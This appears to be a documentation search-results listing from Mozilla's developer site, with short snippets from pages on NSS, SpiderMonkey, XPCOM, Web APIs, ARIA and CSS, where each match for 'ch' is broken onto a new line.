...data->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; } /* we have no password, so initialize database with one */ pr_fprintf(pr_stderr, "enter a password whi
ch will be used to encrypt your keys.\n" "the password should be at least 8
characters long,\n" "and should contain at least one non-alphabetic
character.\n\n"); output = fopen("/dev/tty", "w"); if (output == null) { pr_fprintf(pr_stderr, "error opening output terminal for write\n"); return null; } for (;;) { if (p0) port_free(p0); p...
...0 = getpassword(input, output, "enter new password: ",
checkpassword); if (p1) port_free(p1); p1 = getpassword(input, output, "re-enter password: ",
checkpassword); if (p0 && p1 && !port_strcmp(p0, p1)) { break; } pr_fprintf(pr_stderr, "passwords do not mat
ch.
...And 7 more matches
pkfnc.html
if you are inclined to help with this migration, your help would be very mu
ch appreciated.
... upgraded documentation may be found in the current nss reference pkcs #11 functions
chapter 7 pkcs #11 functions this
chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
... syntax #include <pk11func.h> #include <certt.h> certcertificate *pk11_findcertfromnickname(
char *nickname, void *wincx); parameters this function has the following parameters: nickname a pointer to the nickname in the certificate database or to the nickname in the token.
...And 7 more matches
ssltyp.html
if you are inclined to help with this migration, your help would be very mu
ch appreciated.
... upgraded documentation may be found in the current nss reference selected ssl types and structures
chapter 3 selected ssl types and structures this
chapter describes some of the most important types and structures used with the functions described in the rest of this document, and how to manage the memory used for them.
... types and structures managing secitem memory types and structures these types and structures are described here: certcertdbhandle certcertificate pk11slotinfo secitem seckeyprivatekey secstatus additional types used by a single function only are described with the function's entry in ea
ch chapter.
...And 7 more matches
TLS Cipher Suite Discovery
they must agree on these items: key establishment algorithm (su
ch as rsa, dh, or ecdh) peer authentication algorithm (su
ch as rsa, dsa, ecdsa) bulk data encryption algorithm (su
ch as rc4, des, aes) and key size digest algorithm for message authentication
checking (sha1, sha256) there are numerous available
choices for ea
ch of those categories, and the number of possible combinations of all those
choices is large.
... tls does not allow all possible combinations of
choices from those categories to be used.
... instead, tls allows only certain well-defined combinations of those
choices, known as cipher suites, defined in the ietf rfc standards.
...And 7 more matches
Network Security Services
nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss te
chnical notes links to nss te
chnical notes, whi
ch provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
... tools, testing, and other te
chnical details build instructions for nss describe how to
check out and build nss releases.
... nss developer tutorial how to make
changes in nss.
...And 7 more matches
Renaming With Pork
most refactoring tool
chains are ui-based.
...these notes are based on tools pork refactoring tool
chain [required].
... filterdiff from pat
chutils renaming a class 1.
...And 7 more matches
SpiderMonkey compartments
compartments are used to create multiple javascript memory heaps, whi
ch avoids having one heap for all javascript objects.
... ea
ch compartment is a separate javascript heap.
... an object in one compartment cannot tou
ch an object in another compartment, except through a cross-compartment wrapper.
...And 7 more matches
JS_ExecuteScript
syntax bool js_executescript(jscontext *cx, js::handlescript script, js::mutablehandlevalue rval); // added in spidermonkey 45 bool js_executescript(jscontext *cx, js::handlescript script); // added in spidermonkey 45 bool js_executescript(jscontext *cx, js::autoobjectvector &scope
chain, js::handlescript script, js::mutablehandlevalue rval); // added in spidermonkey 36 bool js_executescript(jscontext *cx, js::autoobjectvector &scope
chain, js::handlescript script); // added in spidermonkey 36 bool js_executescript(jscontext *cx, js::handleobject obj, js::handlescript script, js::mutablehandlevalue rval); // obsolete since jsapi 39 bool js_executescript(jscontext *cx, js::handleobject obj, ...
...solete since jsapi 39 bool js::cloneandexecutescript(jscontext *cx, js::handle<jsscript*> script); // added in spidermonkey 45 bool js::cloneandexecutescript(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsscript*> script); // added in spidermonkey 31, obsoleted since jsapi 39 name type description cx jscontext * the context in whi
ch to execute the script.
... obj js::handleobject the scope in whi
ch to execute the script.
...And 7 more matches
JS_GetParent
syntax jsobject * js_getparent(jsobject *obj); name type description obj jsobject * object for whi
ch to retrieve the parent.
...su
ch an object should not be passed to any other jsapi function that could expose it to script code.
... ea
ch object is assigned a parent when it is created: the standard library objects and functions all have the global object as their parent.
...And 7 more matches
JS_NewObject
_newobject(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto, js::handle<jsobject*> parent); jsobject * js_newobjectwithgivenproto(jscontext *cx, const jsclass *clasp, js::handle<jsobject*> proto, js::handle<jsobject*> parent); // added in spidermonkey 1.8 name type description cx jscontext * the context in whi
ch to create the new object.
... the jsclass may be used to override low-level object behavior, including su
ch details as the physical memory layout of the object and how property lookups are done.
...cx is a pointer to a context associated with the runtime in whi
ch to establish the new object.
...And 7 more matches
SavedFrame
including and excluding
chrome frames consider the following savedframe stack.
... arrows represent links from
child to parent frame, content.js is from a compartment with content principals, and
chrome.js is from a compartment with
chrome principals.
... function a from content.js | v function b from
chrome.js | v function c from content.js the content compartment will ever have one view of this stack: a -> c.
...And 7 more matches
TPS Bookmark Lists
ea
ch key is the full path for the array of contents specified in the key's value.
...all bookmark paths must begin with one of the following: "menu": the normal bookmarks menu "toolbar": the bookmarks toolbar "tags": the tags folder "unfiled": the unfiled bookmarks folder "places": the places root folder ("menu", "toolbar", and "unfiled" are all
children of this) sub-folders are preceded with forward slashes, so "menu/folder1" denotes that "folder1" is a sub-folder of "menu".
...
changes: an object containing new properties to be set for this bookmark when this asset list is used in a modify action.
...And 7 more matches
The Places database
the places s
chema looks like so: core url table moz_places: this is the main table of uris and is managed by the history service (see also history service design).
...ea
ch entry has an optional reference to the moz_favicon table to identify the favicon of the page.
... moz_hosts: one entry in this table is created ea
ch time you visit a new host.
...And 7 more matches
Creating a Python XPCOM component
tip: you can a
chieve a copy of binary of pyxpcom from pythonext; simply unpack xpi and take everything you need.
...defining the interface make a file named "nsipysimple.idl" to define the interface: #include "nsisupports.idl" [scriptable, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface nsipysimple : nsisupports { attribute string yourname; void write( ); void
change(in string avalue); }; this is the same as the nsisimple interface used here.
...see here for info on describing interfaces, and on whi
ch types can be used.
...And 7 more matches
XPCOM guide
nt attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components then
check out platform/xpcom module first.inheriting from implementation classesgiven that idl interfaces map to abstract classes in c++, a common problem when dealing with idl is when you have an idl inheritance hierar
chy, and a corresponding c++ implementation hierar
chy, you run into multiple inheritance.
...the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most activities su
ch as layout, dom operations, content javascript, and
chrome javascript run on the main thread.
... however, it may be useful for c++ code in the mozilla platform to run tasks on another thread.mozilla internal string guidemost of the mozilla code uses a c++ class hierar
chy to pass string data, rather than using raw pointers.
...And 7 more matches
IAccessibleAction
1.0 66 introduced gecko 1.9 inherits from: iunknown last
changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive te
chnology access to all the actions that can be performed by the object.
... ea
ch action can be performed or queried for a name, description or associated key bindings.
... actions are needed more for ats that assist the mobility impaired, su
ch as on-screen keyboards and voice command software.
...And 7 more matches
imgILoader
inherits from: nsisupports last
changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports ca
chekey, in imgirequest arequest, in nsi
channelpolicy
channelpolicy); imgirequest loadimagewith
channel(in nsi
channel a
channel, in imgidec...
...imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports ca
chekey, in imgirequest arequest, in nsi
channelpolicy
channelpolicy ); parameters auri the uri to load.
...ca
chekey arequest a newly created, unused imgirequest object or null for one to be created for you.
...And 7 more matches
nsIAuthModule
inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void getnexttoken([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void init(in string aservicename, in unsigned long aserviceflags, in wstring adomain, in wstring ausername, in wstring apassword); void unwrap([const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength); void wrap([const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out un...
...void getnexttoken( [const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the input token (for example a
challenge from a server).
...aouttoken if getnexttoken succeeds, then aouttoken will point to a buffer to be sent in response to the server
challenge.
...And 7 more matches
nsIComponentManager
66 introduced gecko 0.7 inherits from: nsisupports last
changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void addbootstrappedmanifestlocation(in nsilocalfile alocation); void createinstance(in nscidref aclass, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void createinstancebycontractid(in string acontractid, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobject(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result)...
...; void getclassobjectbycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void removebootstrappedmanifestlocation(in nsilocalfile alocation); methods addbootstrappedmanifestlocation() loads a "bootstrapped"
chrome.manifest file from the specified directory or xpi file.
... a "bootstrapped"
chrome manifest supports some of the instructions allowed in a regular
chrome manifest, see the
chrome registration documentation for details.
...And 7 more matches
nsIContentView
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) see working with content views for details on how to use this api.
... contentwidth float dimensions of scrolled content in
chrome-document css pixels.
... id nscontentviewid id that can be used in conjunction with nsidomwindowutils to
change the actual document, instead of just how it is transformed; this is a 64-bit unsigned integer.
...And 7 more matches
nsIContentViewManager
content/base/public/nsiframeloader.idlscriptable manages the content views contained in a browser 1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the view manager for a document, you can queryinterface() the nsiframeloader object to nsicontentviewmanager.
... note: the rectangle is specified using an an
chor point, then four distances to indicate how far in ea
ch direction to expand the rectangle.
... this lets you, for example, take the coordinates at whi
ch the user clicked (or tou
ched) the screen, and expand outward to create a rectangle from that point.
...And 7 more matches
nsIDragSession
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type description candrop boolean set the current state of the drag, whether it can be dropped or not.
... only
chromedrop boolean indicates if the drop event should be dispat
ched only to
chrome.
... this allows
chrome to handle a drag that was refused by content.
...And 7 more matches
nsIJetpack
js/jetpack/nsijetpack.idlscriptable this interface enables communication between the
chrome process and a remote jetpack process.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ...
... */); void registerreceiver(in astring amessagename, in jsval areceiver); void unregisterreceiver(in astring amessagename, in jsval areceiver); void unregisterreceivers(in astring amessagename); void evalscript(in astring ascript); nsivariant createhandle(); void destroy(); methods sendmessage() this method asyn
chronously sends a message to the jetpack process.
...And 7 more matches
AudioParamDescriptor - Web APIs
properties name the domstring whi
ch represents the name of the audioparam.
... automationrate optional either "a-rate", or "k-rate" string whi
ch represents an automation rate of this audioparam.
... minvalue optional a float whi
ch represents minimum value of the audioparam.
...And 7 more matches
BudgetState - Web APIs
budgetstate.time returns a timestamp at whi
ch the budgetat value is valid.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetstate experimentaldeprecatednon-standard
chrome full support 60edge full support ≤79firefox ?
...And 7 more matches
Constraint validation API - Web APIs
the constraint validation api enables
checking values that users have entered into form controls, before submitting the values to the server.
... concepts and usage certain html form controls, su
ch as <input>, <select> and <textarea>, can restrict the format of allowable values, using attributes like required and pattern to set basic constraints.
... methods
checkvalidity()
checks the element's value against its constraints.
...And 7 more matches
DOMHighResTimeStamp - Web APIs
in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whi
chever is larger.
... value the value of a domhighrestimestamp is a double-precision floating-point number whi
ch describes the number of milliseconds (accurate to within 5 microseconds if the device supports it) elapsed between two points in time.
... the time origin the time origin is a standard time whi
ch is considered to be the beginning of the current document's lifetime.
...And 7 more matches
EffectTiming.fill - Web APIs
the web animations api's effecttiming dictionary's fill property specifies a fill mode, whi
ch defines how the element to whi
ch the animation is applied should look when the animation sequence is not actively running, su
ch as before the time specified by iterationstart or after animation's end time.
... for example, setting fill to "none" means the animation's effects are not applied to the element if the current time is outside the range of times during whi
ch the animation is running, while "forwards" ensures that once the animation's end time has been passed, the element will continue to be drawn in the state it was in at its last rendered frame.
...see the alternatives to fill modes section below for approa
ches that are simpler and more performant.
...And 7 more matches
Element.getElementsByClassName() - Web APIs
the element method getelementsbyclassname() returns a live htmlcollection whi
ch contains every descendant element whi
ch has the specified class name or names.
... syntax var elements = element.getelementsbyclassname(names); parameters names a domstring containing one or more class names to mat
ch on, separated by whitespace.
... return value an htmlcollection providing a live-updating list of every element whi
ch is a member of every class in names.
...And 7 more matches
EventSource - Web APIs
an eventsource instance opens a persistent connection to an http server, whi
ch sends events in text/event-stream format.
... unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (su
ch as a user's web browser).
... that makes them an excellent
choice when there's no need to send data from the client to the server in message form.
...And 7 more matches
FileSystemDirectoryEntry.createReader() - Web APIs
the filesystemdirectoryentry interface's method createreader() returns a filesystemdirectoryreader object whi
ch can be used to read the entries in the directory.
... return value a filesystemdirectoryreader object whi
ch can be used to read the directory's entries.
... example this example creates a method called readdirectory(), whi
ch fet
ches all of the entries in the specified filesystemdirectoryentry and returns them in an array.
...And 7 more matches
FontFaceSetLoadEvent - Web APIs
properties fontfacesetloadevent.fontfacesread only returns an array of fontface instances ea
ch of whi
ch represents a single usable font.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent experimental
chrome full support 35edge full support ≤79firefox full support yesie ?
...And 7 more matches
Using the Frame Timing API - Web APIs
a frame represents the amount of work a browser does in one event loop iteration su
ch as processing dom events, resizing, scrolling, rendering, css animations, etc.
... an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of ea
ch frame event.
... var observe_all = new performanceobserver(function(list) { var perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { swit
ch (perfentries[i].entrytype) { case "frame": process_frame(perfentries[i]); break; case "mark": process_mark(perfentries[i]); break; case "measure": process_measure(perfentries[i]); break; case "resource": process_resource(perfentries[i]); break; default: console.log("unexpected performance entry type: " + perfentries[i].entrytype); } } }); // observe fra...
...And 7 more matches
HTMLInputElement.webkitdirectory - Web APIs
when a directory is selected, the directory and its entire hierar
chy of contents are included in the set of selected items.
... understanding the results after the user makes a selection, ea
ch file object in files has its file.webkitrelativepath property set to the relative path within the selected directory at whi
ch the file is located.
... jamie's 1st birthday pic1000.jpg pic1004.jpg pic1044.jpg don's 40th birthday pic2343.jpg pic2344.jpg pic2355.jpg pic2356.jpg vacations mars pic5533.jpg pic5534.jpg pic5556.jpg pic5684.jpg pic5712.jpg if the user
chooses photoalbums, then the list reported by files will contain file objects for every file listed above—but not the directories.
...And 7 more matches
HTMLModElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmodelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">h...
...And 7 more matches
HTMLObjectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlobjectelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 7 more matches
HTMLTableRowElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablerowelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
...And 7 more matches
IDBCursor.update() - Web APIs
for su
ch needs, you have to use idbindex.opencursor() instead.
... return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
... dataerror the underlying object store uses in-line keys and the property in the value at the object store's key path does not mat
ch the key in this cursor's position.
...And 7 more matches
XSL Transformations in Mozilla FAQ - Web APIs
to find out whi
ch mime type your server sends, look at page info, use extensions like livehttpheaders or a download manager like wget.
...a known workaround is to add a sufficiently long xml comment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, whi
ch is analyzed by firefox to determine if it's a feed or not.
...disabling output escaping requires us to add a parsing step to our output generation, whi
ch we don't.
...And 7 more matches
ARIA: article role - Accessibility
it is usually set on related content items su
ch as comments, forum posts, newspaper articles or other items grouped together on one page.
... articles are not considered a navigational landmark, but many assistive te
chnologies that support landmarks also support a means to navigate among articles.
... articles can be nested, indicating that a nested article directly relates to the one it is nested in, but not necessarily to the ones outside the nesting hierar
chy.
...And 7 more matches
ARIA: document role - Accessibility
generally used in complex composite widgets or applications, the document role can inform assistive te
chnologies to swit
ch context to a reading mode: the document role tells assistive te
chnologies with reading or browse modes to use the document mode to read the content contained within this element.
... <button>close</button> </div> this example shows a dialog widget with some controls and a section with some informational text that the assistive te
chnology user can read when tabbing to it.
... description by default, web pages are treated as documents; assistive te
chnologies (at) enter browse or read mode when entering a new web page.
...And 7 more matches
ARIA: grid role - Accessibility
the position of ea
ch cell is significant and can be focused using keyboard input.
... states and properties aria-level indicates the hierar
chical level of the grid within other structures.
... aria-readonly if the user can navigate the grid but not
change the value or values of the grid, the aria-readonly should be set to true.
...And 7 more matches
Basic form hints - Accessibility
without a direct association between the control and its label, the screen reader has no way of knowing whi
ch label is the correct one.
...note that ea
ch <input> element has an id, and ea
ch <label> element has a for attribute, indicating the id of the associated <input>.
... <form> <ul> <li> <input id="wine-1" type="
checkbox" value="riesling"/> <label for="wine-1">berg rottland riesling</label> </li> <li> <input id="wine-2" type="
checkbox" value="pinot-blanc"/> <label for="wine-2">pinot blanc</label> </li> <li> <input id="wine-3" type="
checkbox" value="pinot-grigio"/> <label for="wine-3">pinot grigio</label> </li> <li> <input id="wine-4" type="
checkbox" value="gewurztraminer"/> <label for="wine-4">gewürztraminer</label> </li> </ul> </form> labeling with aria the html <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic javascript widget, using <div>s or <span>s.
...And 7 more matches
Accessibility: What users can do to browse more safely - Accessibility
the user can do mu
ch to protect himself by learning his operating system, its personalization and accessibility settings.
...
chrome 74 and above (desktop)
chrome 74 added support for reduced-motion-query, it has even added support to detect whether the user has requested a reduced motion experience.
...examples include: transitionrun transitionstart transitionend transitioncancel edge 75 and above (desktop, in windows 10) according to eric bailey, in his april 30, 2019 article revisiting prefers-reduced-motion, the reduced motion media query, "while microsoft edge does not have support for prefers-reduced-motion, it will become
chrome under the hood soon." safari 10.1 and above (desktop) do not enable auto-play (does not work for gifs) ios safari 10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: developers.google.com from thomas steiner's article "move ya!
...And 7 more matches
At-rules - CSS: Cascading Style Sheets
they begin with an at sign, '@' (u+0040 commercial at), followed by an identifier and includes everything up to the next semicolon, ';' (u+003b semicolon), or the next css block, whi
chever comes first.
... /* general structure */ @identifier (rule); /* example: tells browser to use utf-8
character set */ @
charset "utf-8"; there are several at-rules, designated by their identifiers, ea
ch with a different syntax: @
charset — defines the
character set used by the style sheet.
... nested at-rules — a subset of nested statements, whi
ch can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its content if the device meets the criteria of the condition defined using a media query.
...And 7 more matches
Attribute selectors - CSS: Cascading Style Sheets
the css attribute selector mat
ches elements based on the presence or value of a given attribute.
... /* <a> elements with a title attribute */ a[title] { color: purple; } /* <a> elements with an href mat
ching "https://example.org" */ a[href="https://example.org"] { color: green; } /* <a> elements with an href containing "example" */ a[href*="example"] { font-size: 2em; } /* <a> elements with an href ending ".org" */ a[href$=".org"] { font-style: italic; } /* <a> elements whose class attribute contains the word "logo" */ a[class~="logo"] { padding: 2px; } syntax [attr] represents elements with an attribute name of attr.
... [attr~=value] represents elements with an attribute name of attr whose value is a whitespace-separated list of words, one of whi
ch is exactly value.
...And 7 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari,
chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-e
choplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
...however, css pre-processors simply generate valid css, so the te
chniques used below can be written in pure css instead, if preferred.
...this determines the direction in whi
ch flex items are laid out in.
...And 7 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
this article introduces the concept of formatting contexts, of whi
ch there are several types, including block formatting contexts, inline formatting contexts, and flex formatting contexts.
... everything on a page is part of a formatting context, or an area whi
ch has been defined to lay out content in a particular way.
... a block formatting context (bfc) will lay
child elements out according to block layout rules, a flex formatting context will lay its
children out as flex items, etc.
...And 7 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
in spring of 2017, we saw for the first time a major specification like grid being shipped into browsers almost simultaneously, and we now have css grid layout support in the public versions of firefox,
chrome, opera, safari and edge.
... the supporting browsers other than in internet explorer, css grid layout is unprefixed in safari,
chrome, opera, firefox and edge.
...this means that if you write some grid layout code in firefox, it should work in the same way in
chrome.
...And 7 more matches
CSS Scrollbars - CSS: Cascading Style Sheets
basic example in this example we have
chosen to use a thin scrollbar, with a green track and purple thumb.
